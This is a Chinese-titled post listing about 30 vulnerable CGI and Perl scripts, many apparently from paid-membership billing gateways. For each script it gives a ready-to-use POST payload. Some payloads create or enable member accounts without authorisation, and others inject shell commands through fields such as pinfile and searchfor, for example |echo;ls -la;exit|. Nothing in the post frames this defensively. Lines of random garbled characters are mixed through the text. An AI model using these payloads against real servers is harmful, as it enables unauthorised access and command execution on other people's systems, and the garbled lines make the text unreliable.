Cgi-bin 30个漏洞＋使用方法

admin

==============================
+ L8 x* F$ M! p8 l2 l! z9 q
1 _$ c6 C* D. Q! f6 G( E/smspass.pl
% d. A* c. [8 v/ z4 f6 z- c& Musername=username&password=password

/index.cgi
wei=ren&gen=command

  q8 v5 k8 A3 F/passmaster.cgi
Action=Add&Username=Username&Password=Password
3 e0 I( C# r+ o
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

* v+ c/ P) d/ [! g5 ~. D/form.cgi
: k8 @8 A: L' r) R" A4 [name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
, |& B, p  w9 W2 \+ Z# ?
7 _; L" j, _  b/ o' g% \/ccbill-local.asp
post_values=username:password
2 m; b2 d0 K) \, m6 {9 B
+ L* p" @/ e" v8 R( h/count.cgi
' i) I8 W0 n; q- ?pinfile=|echo;ls -la;exit|
! A# p/ Z! y, L7 m7 p
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
4 ]1 W2 N2 A( w" B
: q) W& Y- m6 c, Q2 ~/af.cgi
% {9 k8 L9 a4 }_browser_out=|echo;ls -la;exit;|
$ q6 u! V# {+ h% \, B9 g/ [
- ?3 Z3 f  C- }. d4 A2 [7 h7 W/modify.cgi
username=username&password=password&expire=30

: u7 f/ q* b+ x6 R  N/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

9 a3 j* R$ [! O* e) C) L, m$ o; v) A- p/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/probecontrol.cgi
, g* V$ i8 [3 f+ T  [" w6 _; [command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
- H* z7 [4 ?3 q
( i, N: ~7 p' `( b- H1 [/htadd.pl
configfile=|echo; ls -alt; exit

1 {; y6 b$ _$ j( P, w) h+ p/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
2 A" F' e' e+ P* \2 E" B- m1 i
/globill_ut.cgi
( Z* W( s* {6 m& F' I9 L6 zdo=add&username=username&password=password&wpassword=password
1 V4 q+ H5 ?4 N" v4 F: [6 H! c
. b: x' y9 ?* @( k/usercontrol.cgi
. N  Z- g9 a8 l% `5 ?+ u$ u/ Acommand=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

. L$ B" i/ X4 f; ~! I' ~8 o. F) O/addusr.pl
/ X' F6 T# }( V) A5 G( s% X( M2 guser=USER&pass=PASS&confirm=PASS
% c( [5 I2 t7 K5 `) x  A+ V
/pincount.cgi
; _& t+ z6 m6 W5 m3 X2 L/cgi-bin/mastergate/pincount.cgi
3 x6 X5 M; O7 c; ?& dpinfile=|echo;pwd;exit|
3 q* ^9 a' Z6 L# c
/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
9 @# `) k0 E5 o) G. D3 M) C' {/env.cgi
2 b. S( ~% h0 r" m+ g4 qADD+;echo;pwd;exit
8 |9 }# |- S, V+ b8 ?  A
/count.cgi
pinfile=|echo;pwd;exit|
- h5 [* Q) v& w6 y' d& _, c
/recon.cgi
; E! K' f1 n& l5 m8 q  }searchoption=1&searchfor=|echo;ls%20-al;exit|
) \* ?! ?$ ?- C8 U
0 f+ N6 S6 E! ]/add.cgi
2 u# z4 Q1 i) A- rusername=username&password=password&expire=30

7 K$ d8 b7 @" U==============================
( _5 t  t4 u2 r' v% k: o( ?